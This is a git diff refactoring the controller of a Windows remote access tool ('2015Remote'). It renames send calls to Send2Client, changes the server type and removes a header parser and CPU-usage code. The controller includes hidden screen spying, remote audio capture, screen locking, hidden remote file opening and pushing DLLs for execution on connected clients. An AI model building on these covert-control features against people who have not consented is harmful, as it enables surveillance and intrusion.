LeaveCriticalSection(&m_cs);
}
@@ -2037,9 +2043,9 @@ VOID CMy2015RemoteDlg::SendServerDll(CONTEXT_OBJECT* ContextObject, bool isDLL,
char md5[33] = {};
memcpy(md5, (char*)ContextObject->InDeCompressedBuffer.GetBuffer(32), max(0,min(32, len-32)));
if (!buf->MD5().empty() && md5 != buf->MD5())
- m_iocpServer->OnClientPreSending(ContextObject, buf->Buf(), buf->length(len<=20));
+ m_iocpServer->Send2Client(ContextObject, buf->Buf(), buf->length(len<=20));
else {
- m_iocpServer->OnClientPreSending(ContextObject, buf->Buf(), 6 /* data not changed */);
+ m_iocpServer->Send2Client(ContextObject, buf->Buf(), 6 /* data not changed */);
}
}
}
@@ -2201,7 +2207,7 @@ void CMy2015RemoteDlg::OnMainProxy()
int iItem = m_CList_Online.GetNextSelectedItem(Pos);
CONTEXT_OBJECT* ContextObject = (CONTEXT_OBJECT*)m_CList_Online.GetItemData(iItem);
BYTE cmd[] = { COMMAND_PROXY };
- m_iocpServer->OnClientPreSending(ContextObject, cmd, sizeof(cmd));
+ m_iocpServer->Send2Client(ContextObject, cmd, sizeof(cmd));
break;
}
LeaveCriticalSection(&m_cs);
@@ -2551,7 +2557,7 @@ void CMy2015RemoteDlg::OnDynamicSubMenu(UINT nID) {
Buffer* buf = m_DllList[menuIndex]->Data;
int iItem = m_CList_Online.GetNextSelectedItem(Pos);
CONTEXT_OBJECT* ContextObject = (CONTEXT_OBJECT*)m_CList_Online.GetItemData(iItem);
- m_iocpServer->OnClientPreSending(ContextObject, buf->Buf(), 1 + sizeof(DllExecuteInfo));
+ m_iocpServer->Send2Client(ContextObject, buf->Buf(), 1 + sizeof(DllExecuteInfo));
}
LeaveCriticalSection(&m_cs);
}
diff --git a/server/2015Remote/2015RemoteDlg.h b/server/2015Remote/2015RemoteDlg.h
index 7e6f5b8..2cc5807 100644
--- a/server/2015Remote/2015RemoteDlg.h
+++ b/server/2015Remote/2015RemoteDlg.h
@@ -125,7 +125,7 @@ protected:
}
// 构造
public:
- CMy2015RemoteDlg(IOCPServer* iocpServer, CWnd* pParent = NULL); // 标准构造函数
+ CMy2015RemoteDlg(Server* iocpServer, CWnd* pParent = NULL); // 标准构造函数
~CMy2015RemoteDlg();
// 对话框数据
enum { IDD = IDD_MY2015REMOTE_DIALOG };
@@ -193,7 +193,7 @@ public:
std::vector m_DllList;
NOTIFYICONDATA m_Nid;
HANDLE m_hExit;
- IOCPServer* m_iocpServer;
+ Server* m_iocpServer;
CRITICAL_SECTION m_cs;
BOOL isClosed;
CMenu m_MainMenu;
diff --git a/server/2015Remote/2015Remote_vs2015.vcxproj b/server/2015Remote/2015Remote_vs2015.vcxproj
index 9872c13..919214c 100644
--- a/server/2015Remote/2015Remote_vs2015.vcxproj
+++ b/server/2015Remote/2015Remote_vs2015.vcxproj
@@ -262,7 +262,6 @@
-
@@ -275,6 +274,7 @@
+
@@ -285,6 +285,7 @@
+
@@ -323,7 +324,6 @@
-
@@ -335,6 +335,7 @@
+
NotUsing
diff --git a/server/2015Remote/2015Remote_vs2015.vcxproj.filters b/server/2015Remote/2015Remote_vs2015.vcxproj.filters
index c5cff83..b572b74 100644
--- a/server/2015Remote/2015Remote_vs2015.vcxproj.filters
+++ b/server/2015Remote/2015Remote_vs2015.vcxproj.filters
@@ -11,7 +11,6 @@
-
@@ -49,6 +48,7 @@
file
+
@@ -64,7 +64,6 @@
-
@@ -109,6 +108,8 @@
file
+
+
diff --git a/server/2015Remote/AudioDlg.cpp b/server/2015Remote/AudioDlg.cpp
index 4da6dcd..e7056d4 100644
--- a/server/2015Remote/AudioDlg.cpp
+++ b/server/2015Remote/AudioDlg.cpp
@@ -11,7 +11,7 @@
IMPLEMENT_DYNAMIC(CAudioDlg, CDialog)
-CAudioDlg::CAudioDlg(CWnd* pParent, IOCPServer* IOCPServer, CONTEXT_OBJECT *ContextObject)
+CAudioDlg::CAudioDlg(CWnd* pParent, Server* IOCPServer, CONTEXT_OBJECT *ContextObject)
: DialogBase(CAudioDlg::IDD, pParent, IOCPServer, ContextObject, IDI_ICON_AUDIO)
, m_bSend(FALSE)
{
@@ -56,7 +56,7 @@ BOOL CAudioDlg::OnInitDialog()
SetWindowText(strString);
BYTE bToken = COMMAND_NEXT;
- m_iocpServer->OnClientPreSending(m_ContextObject, &bToken, sizeof(BYTE));
+ m_iocpServer->Send2Client(m_ContextObject, &bToken, sizeof(BYTE));
//启动线程 判断CheckBox
m_hWorkThread = CreateThread(NULL, 0, WorkThread, (LPVOID)this, 0, NULL);
@@ -84,7 +84,7 @@ DWORD CAudioDlg::WorkThread(LPVOID lParam)
LPBYTE szBuffer = This->m_AudioObject.GetRecordBuffer(&dwBufferSize); //播放声音
if (szBuffer != NULL && dwBufferSize > 0)
- This->m_iocpServer->OnClientPreSending(This->m_ContextObject, szBuffer, dwBufferSize); //没有消息头
+ This->m_iocpServer->Send2Client(This->m_ContextObject, szBuffer, dwBufferSize); //没有消息头
}
This->m_bThreadRun = FALSE;
diff --git a/server/2015Remote/AudioDlg.h b/server/2015Remote/AudioDlg.h
index 1c269bf..b52dd49 100644
--- a/server/2015Remote/AudioDlg.h
+++ b/server/2015Remote/AudioDlg.h
@@ -10,7 +10,7 @@ class CAudioDlg : public DialogBase
DECLARE_DYNAMIC(CAudioDlg)
public:
- CAudioDlg(CWnd* pParent = NULL, IOCPServer* IOCPServer = NULL, CONTEXT_OBJECT *ContextObject = NULL); // 标准构造函数
+ CAudioDlg(CWnd* pParent = NULL, Server* IOCPServer = NULL, CONTEXT_OBJECT *ContextObject = NULL); // 标准构造函数
virtual ~CAudioDlg();
DWORD m_nTotalRecvBytes;
diff --git a/server/2015Remote/Chat.cpp b/server/2015Remote/Chat.cpp
index 3788ba5..2547026 100644
--- a/server/2015Remote/Chat.cpp
+++ b/server/2015Remote/Chat.cpp
@@ -13,7 +13,7 @@
// CChat dialog
-CChat::CChat(CWnd* pParent, ISocketBase* pIOCPServer, ClientContext* pContext)
+CChat::CChat(CWnd* pParent, Server* pIOCPServer, ClientContext* pContext)
: DialogBase(CChat::IDD, pParent, pIOCPServer, pContext, IDI_CHAT)
{
}
@@ -53,7 +53,7 @@ BOOL CChat::OnInitDialog()
m_editNewMsg.SetLimitText(4079);
// TODO: Add extra initialization here
BYTE bToken = COMMAND_NEXT_CHAT;
- m_iocpServer->Send(m_ContextObject, &bToken, sizeof(BYTE));
+ m_iocpServer->Send2Client(m_ContextObject, &bToken, sizeof(BYTE));
SetIcon(m_hIcon, TRUE); // Set big icon
SetIcon(m_hIcon, FALSE); // Set small icon
@@ -89,7 +89,7 @@ void CChat::OnButtonSend()
return; // 发送消息为空不处理
}
m_editTip.ShowWindow(SW_HIDE);
- m_iocpServer->Send(m_ContextObject, (LPBYTE)str, lstrlen(str) + sizeof(char));
+ m_iocpServer->Send2Client(m_ContextObject, (LPBYTE)str, lstrlen(str) + sizeof(char));
SYSTEMTIME st;
GetLocalTime(&st);
char Text[5120] = { 0 };
@@ -171,11 +171,11 @@ void CChat::OnBnClickedButton_LOCK()
{
BYTE bToken = COMMAND_CHAT_SCREEN_LOCK;
- m_iocpServer->Send(m_ContextObject, &bToken, sizeof(BYTE));
+ m_iocpServer->Send2Client(m_ContextObject, &bToken, sizeof(BYTE));
}
void CChat::OnBnClickedButton_UNLOCK()
{
BYTE bToken = COMMAND_CHAT_SCREEN_UNLOCK;
- m_iocpServer->Send(m_ContextObject, &bToken, sizeof(BYTE));
+ m_iocpServer->Send2Client(m_ContextObject, &bToken, sizeof(BYTE));
}
diff --git a/server/2015Remote/Chat.h b/server/2015Remote/Chat.h
index aa17bd9..58af36d 100644
--- a/server/2015Remote/Chat.h
+++ b/server/2015Remote/Chat.h
@@ -9,7 +9,7 @@ class CChat : public DialogBase
{
// Construction
public:
- CChat(CWnd* pParent = NULL, ISocketBase* pIOCPServer = NULL, ClientContext* pContext = NULL);
+ CChat(CWnd* pParent = NULL, Server* pIOCPServer = NULL, ClientContext* pContext = NULL);
void OnReceiveComplete();
void OnReceive();
diff --git a/server/2015Remote/CpuUseage.cpp b/server/2015Remote/CpuUseage.cpp
deleted file mode 100644
index f506a60..0000000
--- a/server/2015Remote/CpuUseage.cpp
+++ /dev/null
@@ -1,55 +0,0 @@
-#include "stdafx.h"
-#include "CpuUseage.h"
-
-//系统性能计数器
-CCpuUsage::CCpuUsage()
-{
- m_hQuery = NULL;
- m_pCounterStruct = NULL;
-
-}
-
-CCpuUsage::~CCpuUsage()
-{
- PdhCloseQuery(m_hQuery); //关闭计数器
- if (m_pCounterStruct)
- delete m_pCounterStruct;
-}
-
-
-BOOL CCpuUsage::Init()
-{
- if (ERROR_SUCCESS != PdhOpenQuery(NULL, 1, &m_hQuery)) //打开计数器
- return FALSE;
-
- m_pCounterStruct = (PPDHCOUNTERSTRUCT) new PDHCOUNTERSTRUCT;
-
- //统计感兴趣的系统信息时,必须先将对应的计数器添加进来
- PDH_STATUS pdh_status = PdhAddCounter(m_hQuery, (LPCSTR)szCounterName,
- (DWORD_PTR) m_pCounterStruct, &(m_pCounterStruct->hCounter));
- if (ERROR_SUCCESS != pdh_status)
- {
- return FALSE;
- }
-
- return TRUE;
-}
-
-
-int CCpuUsage::GetUsage()
-{
- PDH_FMT_COUNTERVALUE pdhFormattedValue;
-
- PdhCollectQueryData(m_hQuery);
-
- //得到数据获得当前计数器的值
- if (ERROR_SUCCESS != PdhGetFormattedCounterValue(m_pCounterStruct->hCounter,
- PDH_FMT_LONG,
- NULL,
- &pdhFormattedValue ))
- {
- return 0;
- }
-
- return pdhFormattedValue.longValue;
-}
diff --git a/server/2015Remote/CpuUseage.h b/server/2015Remote/CpuUseage.h
deleted file mode 100644
index 9f087d4..0000000
--- a/server/2015Remote/CpuUseage.h
+++ /dev/null
@@ -1,34 +0,0 @@
-#pragma once
-
-#include
-#include
-
-#pragma comment(lib,"PDH.lib")
-
-#define MAX_RAW_VALUES 20
-
-//process 项目下的% Processor Time计数器是关于进程CPU使率的
-const char szCounterName[] = "\\Processor(_Total)\\% Processor Time";
-
-typedef struct _tag_PDHCounterStruct {
- HCOUNTER hCounter;
- int nNextIndex;
- int nOldestIndex;
- int nRawCount;
- PDH_RAW_COUNTER a_RawValue[MAX_RAW_VALUES];
-} PDHCOUNTERSTRUCT, *PPDHCOUNTERSTRUCT;
-
-
-class CCpuUsage
-{
-public:
- CCpuUsage();
- virtual ~CCpuUsage();
- BOOL Init();
- int GetUsage();
-
-protected:
-
- PPDHCOUNTERSTRUCT m_pCounterStruct;
- HQUERY m_hQuery;
-};
diff --git a/server/2015Remote/DecryptDlg.cpp b/server/2015Remote/DecryptDlg.cpp
index ac26dbf..08fa931 100644
--- a/server/2015Remote/DecryptDlg.cpp
+++ b/server/2015Remote/DecryptDlg.cpp
@@ -4,7 +4,7 @@
IMPLEMENT_DYNAMIC(DecryptDlg, CDialog)
-DecryptDlg::DecryptDlg(CWnd* pParent, IOCPServer* IOCPServer, CONTEXT_OBJECT* ContextObject)
+DecryptDlg::DecryptDlg(CWnd* pParent, Server* IOCPServer, CONTEXT_OBJECT* ContextObject)
: CDialogBase(DecryptDlg::IDD, pParent, IOCPServer, ContextObject, IDI_ICON_DECRYPT) {
}
diff --git a/server/2015Remote/DecryptDlg.h b/server/2015Remote/DecryptDlg.h
index f1d48ef..5f0cc0c 100644
--- a/server/2015Remote/DecryptDlg.h
+++ b/server/2015Remote/DecryptDlg.h
@@ -8,7 +8,7 @@ class DecryptDlg : public CDialogBase
DECLARE_DYNAMIC(DecryptDlg)
public:
- DecryptDlg(CWnd* pParent = NULL, IOCPServer* IOCPServer = NULL, CONTEXT_OBJECT* ContextObject = NULL);
+ DecryptDlg(CWnd* pParent = NULL, Server* IOCPServer = NULL, CONTEXT_OBJECT* ContextObject = NULL);
virtual ~DecryptDlg();
VOID OnReceiveComplete();
diff --git a/server/2015Remote/FileManagerDlg.cpp b/server/2015Remote/FileManagerDlg.cpp
index af156d9..9ebcded 100644
--- a/server/2015Remote/FileManagerDlg.cpp
+++ b/server/2015Remote/FileManagerDlg.cpp
@@ -35,7 +35,7 @@ float GetScreenScalingFactor() {
return dpiX / 96.0f;
}
-CFileManagerDlg::CFileManagerDlg(CWnd* pParent, CIOCPServer* pIOCPServer, ClientContext *pContext)
+CFileManagerDlg::CFileManagerDlg(CWnd* pParent, Server* pIOCPServer, ClientContext *pContext)
: DialogBase(CFileManagerDlg::IDD, pParent, pIOCPServer, pContext, IDI_ICON_FATHER)
{
m_fScalingFactor = GetScreenScalingFactor();
@@ -1022,7 +1022,7 @@ void CFileManagerDlg::GetRemoteFileList(CString directory)
bPacket[0] = COMMAND_LIST_FILES;
memcpy(bPacket + 1, m_Remote_Path.GetBuffer(0), PacketSize - 1);
- m_iocpServer->Send(m_ContextObject, bPacket, PacketSize);
+ m_iocpServer->Send2Client(m_ContextObject, bPacket, PacketSize);
LocalFree(bPacket);
m_Remote_Directory_ComboBox.InsertString(0, m_Remote_Path);
@@ -1481,7 +1481,7 @@ BOOL CFileManagerDlg::SendDownloadJob()
bPacket[0] = COMMAND_DOWN_FILES;
// 文件偏移,续传时用
memcpy(bPacket + 1, file.GetBuffer(0), file.GetLength() + 1);
- m_iocpServer->Send(m_ContextObject, bPacket, nPacketSize);
+ m_iocpServer->Send2Client(m_ContextObject, bPacket, nPacketSize);
LocalFree(bPacket);
// 从下载任务列表中删除自己
@@ -1538,7 +1538,7 @@ BOOL CFileManagerDlg::SendUploadJob()
memcpy(bPacket + 5, &dwSizeLow, sizeof(DWORD));
memcpy(bPacket + 9, fileRemote.GetBuffer(0), fileRemote.GetLength() + 1);
- m_iocpServer->Send(m_ContextObject, bPacket, nPacketSize);
+ m_iocpServer->Send2Client(m_ContextObject, bPacket, nPacketSize);
LocalFree(bPacket);
@@ -1569,7 +1569,7 @@ BOOL CFileManagerDlg::SendDeleteJob()
}
// 文件偏移,续传时用
memcpy(bPacket + 1, file.GetBuffer(0), nPacketSize - 1);
- m_iocpServer->Send(m_ContextObject, bPacket, nPacketSize);
+ m_iocpServer->Send2Client(m_ContextObject, bPacket, nPacketSize);
LocalFree(bPacket);
// 从下载任务列表中删除自己
@@ -1749,7 +1749,7 @@ void CFileManagerDlg::CreateLocalRecvFile()
else
{
// 发送继续传输文件的token,包含文件续传的偏移
- m_iocpServer->Send(m_ContextObject, bToken, sizeof(bToken));
+ m_iocpServer->Send2Client(m_ContextObject, bToken, sizeof(bToken));
}
}
@@ -1822,7 +1822,7 @@ void CFileManagerDlg::WriteLocalRecvFile()
dwOffsetLow += dwBytesWrite;
memcpy(bToken + 1, &dwOffsetHigh, sizeof(dwOffsetHigh));
memcpy(bToken + 5, &dwOffsetLow, sizeof(dwOffsetLow));
- m_iocpServer->Send(m_ContextObject, bToken, sizeof(bToken));
+ m_iocpServer->Send2Client(m_ContextObject, bToken, sizeof(bToken));
}
}
@@ -1896,19 +1896,19 @@ void CFileManagerDlg::EndRemoteDeleteFile()
void CFileManagerDlg::SendException()
{
BYTE bBuff = COMMAND_EXCEPTION;
- m_iocpServer->Send(m_ContextObject, &bBuff, 1);
+ m_iocpServer->Send2Client(m_ContextObject, &bBuff, 1);
}
void CFileManagerDlg::SendContinue()
{
BYTE bBuff = COMMAND_CONTINUE;
- m_iocpServer->Send(m_ContextObject, &bBuff, 1);
+ m_iocpServer->Send2Client(m_ContextObject, &bBuff, 1);
}
void CFileManagerDlg::SendStop()
{
BYTE bBuff = COMMAND_STOP;
- m_iocpServer->Send(m_ContextObject, &bBuff, 1);
+ m_iocpServer->Send2Client(m_ContextObject, &bBuff, 1);
}
void CFileManagerDlg::ShowProgress()
@@ -2068,7 +2068,7 @@ void CFileManagerDlg::SendTransferMode()
BYTE bToken[5];
bToken[0] = COMMAND_SET_TRANSFER_MODE;
memcpy(bToken + 1, &m_nTransferMode, sizeof(m_nTransferMode));
- m_iocpServer->Send(m_ContextObject, (unsigned char *)&bToken, sizeof(bToken));
+ m_iocpServer->Send2Client(m_ContextObject, (unsigned char *)&bToken, sizeof(bToken));
}
void CFileManagerDlg::SendFileData()
@@ -2113,7 +2113,7 @@ void CFileManagerDlg::SendFileData()
if (nNumberOfBytesRead > 0)
{
int nPacketSize = nNumberOfBytesRead + nHeadLength;
- m_iocpServer->Send(m_ContextObject, lpBuffer, nPacketSize);
+ m_iocpServer->Send2Client(m_ContextObject, lpBuffer, nPacketSize);
}
LocalFree(lpBuffer);
}
@@ -2192,7 +2192,7 @@ void CFileManagerDlg::OnRemoteNewfolder()
LPBYTE lpBuffer = (LPBYTE)LocalAlloc(LPTR, file.GetLength() + 2);
lpBuffer[0] = COMMAND_CREATE_FOLDER;
memcpy(lpBuffer + 1, file.GetBuffer(0), nPacketSize - 1);
- m_iocpServer->Send(m_ContextObject, lpBuffer, nPacketSize);
+ m_iocpServer->Send2Client(m_ContextObject, lpBuffer, nPacketSize);
LocalFree(lpBuffer);
}
}
@@ -2259,7 +2259,7 @@ void CFileManagerDlg::OnEndlabeleditListRemote(NMHDR* pNMHDR, LRESULT* pResult)
memcpy(lpBuffer + 1, strExistingFileName.GetBuffer(0), strExistingFileName.GetLength() + 1);
memcpy(lpBuffer + 2 + strExistingFileName.GetLength(),
strNewFileName.GetBuffer(0), strNewFileName.GetLength() + 1);
- m_iocpServer->Send(m_ContextObject, lpBuffer, nPacketSize);
+ m_iocpServer->Send2Client(m_ContextObject, lpBuffer, nPacketSize);
LocalFree(lpBuffer);
}
*pResult = 1;
@@ -2328,7 +2328,7 @@ void CFileManagerDlg::OnRemoteOpenShow()
LPBYTE lpPacket = (LPBYTE)LocalAlloc(LPTR, nPacketLength);
lpPacket[0] = COMMAND_OPEN_FILE_SHOW;
memcpy(lpPacket + 1, str.GetBuffer(0), nPacketLength - 1);
- m_iocpServer->Send(m_ContextObject, lpPacket, nPacketLength);
+ m_iocpServer->Send2Client(m_ContextObject, lpPacket, nPacketLength);
LocalFree(lpPacket);
}
@@ -2342,7 +2342,7 @@ void CFileManagerDlg::OnRemoteOpenHide()
LPBYTE lpPacket = (LPBYTE)LocalAlloc(LPTR, nPacketLength);
lpPacket[0] = COMMAND_OPEN_FILE_HIDE;
memcpy(lpPacket + 1, str.GetBuffer(0), nPacketLength - 1);
- m_iocpServer->Send(m_ContextObject, lpPacket, nPacketLength);
+ m_iocpServer->Send2Client(m_ContextObject, lpPacket, nPacketLength);
LocalFree(lpPacket);
}
diff --git a/server/2015Remote/FileManagerDlg.h b/server/2015Remote/FileManagerDlg.h
index 38b5c4e..7bac4a7 100644
--- a/server/2015Remote/FileManagerDlg.h
+++ b/server/2015Remote/FileManagerDlg.h
@@ -26,8 +26,6 @@ typedef struct
#define m_Socket sClientSocket
-#define Send OnClientPreSending
-
#define MAKEINT64(low, high) ((unsigned __int64)(((DWORD)(low)) | ((unsigned __int64)((DWORD)(high))) << 32))
#define MAX_WRITE_RETRY 15 // 重试写入文件次数
@@ -105,7 +103,7 @@ public:
void FixedRemoteFileList(BYTE *pbBuffer, DWORD dwBufferLen);
CStatusBar m_wndStatusBar;
- CFileManagerDlg(CWnd* pParent = NULL, CIOCPServer* pIOCPServer = NULL, ClientContext *pContext = NULL); // standard constructor
+ CFileManagerDlg(CWnd* pParent = NULL, Server* pIOCPServer = NULL, ClientContext *pContext = NULL); // standard constructor
~CFileManagerDlg()
{
diff --git a/server/2015Remote/HideScreenSpyDlg.cpp b/server/2015Remote/HideScreenSpyDlg.cpp
index a861a51..6f91de5 100644
--- a/server/2015Remote/HideScreenSpyDlg.cpp
+++ b/server/2015Remote/HideScreenSpyDlg.cpp
@@ -37,7 +37,7 @@ enum {
IMPLEMENT_DYNAMIC(CHideScreenSpyDlg, CDialog)
-CHideScreenSpyDlg::CHideScreenSpyDlg(CWnd* pParent, ISocketBase* pIOCPServer, ClientContext* pContext)
+CHideScreenSpyDlg::CHideScreenSpyDlg(CWnd* pParent, Server* pIOCPServer, ClientContext* pContext)
: DialogBase(CHideScreenSpyDlg::IDD, pParent, pIOCPServer, pContext, IDI_SCREENSYP)
{
m_bIsFirst = true; // 濡傛灉鏄涓娆℃墦寮瀵硅瘽妗嗭紝鏄剧ず鎻愮ず绛夊緟淇℃伅
diff --git a/server/2015Remote/HideScreenSpyDlg.h b/server/2015Remote/HideScreenSpyDlg.h
index 55101cd..cd682cb 100644
--- a/server/2015Remote/HideScreenSpyDlg.h
+++ b/server/2015Remote/HideScreenSpyDlg.h
@@ -29,7 +29,7 @@ class CHideScreenSpyDlg : public DialogBase {
enum { IDD = IDD_SCREEN };
public:
- CHideScreenSpyDlg(CWnd* pParent = NULL, ISocketBase* pIOCPServer = NULL, ClientContext* pContext = NULL);
+ CHideScreenSpyDlg(CWnd* pParent = NULL, Server* pIOCPServer = NULL, ClientContext* pContext = NULL);
virtual ~CHideScreenSpyDlg();
VOID SendNext(void) {
diff --git a/server/2015Remote/IOCPServer.cpp b/server/2015Remote/IOCPServer.cpp
index 8444870..0be5031 100644
--- a/server/2015Remote/IOCPServer.cpp
+++ b/server/2015Remote/IOCPServer.cpp
@@ -5,35 +5,6 @@
#include
#include
-// ZLIB 压缩库
-#include "zlib/zlib.h"
-
-#if USING_LZ4
-#include "lz4/lz4.h"
-#pragma comment(lib, "lz4/lz4.lib")
-#define C_FAILED(p) (0 == (p))
-#define C_SUCCESS(p) (!C_FAILED(p))
-#define Mcompress(dest, destLen, source, sourceLen) LZ4_compress_default((const char*)source, (char*)dest, sourceLen, *(destLen))
-#define Muncompress(dest, destLen, source, sourceLen) LZ4_decompress_safe((const char*)source, (char*)dest, sourceLen, *(destLen))
-#else // ZSTD
-#include "zstd/zstd.h"
-#ifdef _WIN64
-#pragma comment(lib, "zstd/zstd_x64.lib")
-#else
-#pragma comment(lib, "zstd/zstd.lib")
-#endif
-#define C_FAILED(p) ZSTD_isError(p)
-#define C_SUCCESS(p) (!C_FAILED(p))
-#define ZSTD_CLEVEL 5
-#if USING_CTX
-#define Mcompress(dest, destLen, source, sourceLen) ZSTD_compress2(m_Cctx, dest, *(destLen), source, sourceLen)
-#define Muncompress(dest, destLen, source, sourceLen) ZSTD_decompressDCtx(m_Dctx, dest, *(destLen), source, sourceLen)
-#else
-#define Mcompress(dest, destLen, source, sourceLen) ZSTD_compress(dest, *(destLen), source, sourceLen, ZSTD_CLEVEL_DEFAULT)
-#define Muncompress(dest, destLen, source, sourceLen) ZSTD_decompress(dest, *(destLen), source, sourceLen)
-#endif
-#endif
-
// 根据 socket 获取客户端IP地址.
std::string GetPeerName(SOCKET sock) {
sockaddr_in ClientAddr = {};
@@ -306,7 +277,6 @@ BOOL IOCPServer::InitializeIOCP(VOID)
m_ulThreadPoolMax = SystemInfo.dwNumberOfProcessors * 2;
m_ulCPULowThreadsHold = 10;
m_ulCPUHighThreadsHold = 75;
- m_cpu.Init();
ULONG ulWorkThreadCount = m_ulThreadPoolMax;
diff --git a/server/2015Remote/IOCPServer.h b/server/2015Remote/IOCPServer.h
index 35d3a90..2e6261c 100644
--- a/server/2015Remote/IOCPServer.h
+++ b/server/2015Remote/IOCPServer.h
@@ -3,486 +3,121 @@
#include "StdAfx.h"
#include
#pragma comment(lib,"ws2_32.lib")
-#include "CpuUseage.h"
-#include "Buffer.h"
-#define XXH_INLINE_ALL
-#include "xxhash.h"
+#include "Server.h"
#if USING_CTX
#include "zstd/zstd.h"
#endif
#include
-#include "common/header.h"
-#include "common/encrypt.h"
-#define PACKET_LENGTH 0x2000
#define NC_CLIENT_CONNECT 0x0001
#define NC_RECEIVE 0x0004
#define NC_RECEIVE_COMPLETE 0x0005 // 完整接收
-std::string GetPeerName(SOCKET sock);
-std::string GetRemoteIP(SOCKET sock);
-
-
-enum
-{
- ONLINELIST_IP = 0, // IP的列顺序
- ONLINELIST_ADDR, // 地址
- ONLINELIST_LOCATION, // 地理位置
- ONLINELIST_COMPUTER_NAME, // 计算机名/备注
- ONLINELIST_OS, // 操作系统
- ONLINELIST_CPU, // CPU
- ONLINELIST_VIDEO, // 摄像头(有无)
- ONLINELIST_PING, // PING(对方的网速)
- ONLINELIST_VERSION, // 版本信息
- ONLINELIST_INSTALLTIME, // 安装时间
- ONLINELIST_LOGINTIME, // 活动窗口
- ONLINELIST_CLIENTTYPE, // 客户端类型
- ONLINELIST_PATH, // 文件路径
- ONLINELIST_MAX,
-};
-
-enum {
- PARSER_WINOS = -2,
- PARSER_FAILED = -1, // 解析失败
- PARSER_NEEDMORE = 0, // 需要更多数据
-};
-
-typedef struct PR {
- int Result;
- bool IsFailed() const {
- return PARSER_FAILED == Result;
- }
- bool IsNeedMore() const {
- return PARSER_NEEDMORE == Result;
- }
- bool IsWinOSLogin() const {
- return PARSER_WINOS == Result;
- }
-}PR;
-
-enum {
- COMPRESS_UNKNOWN = -2, // 未知压缩算法
- COMPRESS_ZLIB = -1, // 以前版本使用的压缩方法
- COMPRESS_ZSTD = 0, // 当前使用的压缩方法
- COMPRESS_NONE = 1, // 没有压缩
-};
-
-struct CONTEXT_OBJECT;
-
-// Header parser: parse the data to make sure it's from a supported client.
-class HeaderParser {
- friend struct CONTEXT_OBJECT;
-protected:
- HeaderParser() {
- memset(this, 0, sizeof(HeaderParser));
- }
- virtual ~HeaderParser() {
- Reset();
- }
- PR Parse(CBuffer& buf, int &compressMethod) {
- const int MinimumCount = MIN_COMLEN;
- if (buf.GetBufferLength() < MinimumCount) {
- return PR{ PARSER_NEEDMORE };
- }
- char szPacketFlag[32] = { 0 };
- buf.CopyBuffer(szPacketFlag, MinimumCount, 0);
- HeaderEncType encTyp = HeaderEncUnknown;
- FlagType flagType = CheckHead(szPacketFlag, encTyp);
- if (flagType == FLAG_UNKNOWN) {
- // 数据长度 + 通信密码 [4字节启动时间+4个0字节+命令标识+系统位数标识]
- const BYTE* ptr = (BYTE*)buf.GetBuffer(0), *p = ptr+4;
- int length = *((int*)ptr);
- int excepted = buf.GetBufferLength();
- if (length == excepted && length == 16 && p[4] == 0 && p[5] == 0 &&
- p[6] == 0&& p[7] == 0 && p[8] == 202 && (p[9] == 0 || p[9] == 1)) {
- m_nFlagType = FLAG_WINOS;
- compressMethod = COMPRESS_NONE;
- memcpy(m_szPacketFlag, p, 10); // 通信密码
- m_nCompareLen = 0;
- m_nFlagLen = 0;
- m_nHeaderLen = 14;
- m_bParsed = TRUE;
- m_Encoder = new Encoder();
- m_Encoder2 = new WinOsEncoder();
- return PR{ PARSER_WINOS };
- }
- return PR{ PARSER_FAILED };
- }
- if (m_bParsed) { // Check if the header has been parsed.
- return memcmp(m_szPacketFlag, szPacketFlag, m_nCompareLen) == 0 ? PR{ m_nFlagLen } : PR{ PARSER_FAILED };
- }
- // More version may be added in the future.
- switch (m_nFlagType = flagType)
- {
- case FLAG_UNKNOWN:
- return PR{ PARSER_FAILED };
- case FLAG_SHINE:
- memcpy(m_szPacketFlag, szPacketFlag, 5);
- m_nCompareLen = 5;
- m_nFlagLen = m_nCompareLen;
- m_nHeaderLen = m_nFlagLen + 8;
- m_bParsed = TRUE;
- m_Encoder = new Encoder();
- m_Encoder2 = new Encoder();
- break;
- case FLAG_FUCK:
- memcpy(m_szPacketFlag, szPacketFlag, 8);
- m_nCompareLen = 8;
- m_nFlagLen = m_nCompareLen + 3;
- m_nHeaderLen = m_nFlagLen + 8;
- m_bParsed = TRUE;
- m_Encoder = new XOREncoder();
- m_Encoder2 = new Encoder();
- break;
- case FLAG_HELLO:
- // This header is only for handling SOCKET_DLLLOADER command
- memcpy(m_szPacketFlag, szPacketFlag, 8);
- m_nCompareLen = 6;
- m_nFlagLen = 8;
- m_nHeaderLen = m_nFlagLen + 8;
- m_bParsed = TRUE;
- compressMethod = COMPRESS_NONE;
- m_Encoder = new Encoder();
- m_Encoder2 = new XOREncoder16();
- break;
- case FLAG_HELL:
- // This version
- memcpy(m_szPacketFlag, szPacketFlag, 8);
- m_nCompareLen = FLAG_COMPLEN;
- m_nFlagLen = FLAG_LENGTH;
- m_nHeaderLen = m_nFlagLen + 8;
- m_bParsed = TRUE;
- m_Encoder = new Encoder();
- m_Encoder2 = new XOREncoder16();
- break;
- default:
- break;
- }
- return PR{ m_nFlagLen };
- }
- BOOL IsEncodeHeader() const {
- return m_nFlagType == FLAG_HELLO || m_nFlagType == FLAG_HELL;
- }
- HeaderParser& Reset() {
- SAFE_DELETE(m_Encoder);
- SAFE_DELETE(m_Encoder2);
- memset(this, 0, sizeof(HeaderParser));
- return *this;
- }
- BOOL IsParsed() const {
- return m_bParsed;
- }
- int GetFlagLen() const {
- return m_nFlagLen;
- }
- int GetHeaderLen() const {
- return m_nHeaderLen;
- }
- const char* GetFlag() const {
- return m_szPacketFlag;
- }
- FlagType GetFlagType() const {
- return m_nFlagType;
- }
- Encoder* GetEncoder() const {
- return m_Encoder;
- }
- Encoder* GetEncoder2() const {
- return m_Encoder2;
- }
-private:
- BOOL m_bParsed; // 数据包是否可以解析
- int m_nHeaderLen; // 数据包的头长度
- int m_nCompareLen; // 比对字节数
- int m_nFlagLen; // 标识长度
- FlagType m_nFlagType; // 标识类型
- char m_szPacketFlag[32]; // 对比信息
- Encoder* m_Encoder; // 编码器
- Encoder* m_Encoder2; // 编码器2
-};
-
-enum IOType
-{
- IOInitialize,
- IORead,
- IOWrite,
- IOIdle
-};
-
-typedef struct CONTEXT_OBJECT
-{
- CString sClientInfo[ONLINELIST_MAX];
- CString additonalInfo[RES_MAX];
- SOCKET sClientSocket;
- WSABUF wsaInBuf;
- WSABUF wsaOutBuffer;
- char szBuffer[PACKET_LENGTH];
- CBuffer InCompressedBuffer; // 接收到的压缩的数据
- CBuffer InDeCompressedBuffer; // 解压后的数据
- CBuffer OutCompressedBuffer;
- HWND hWnd;
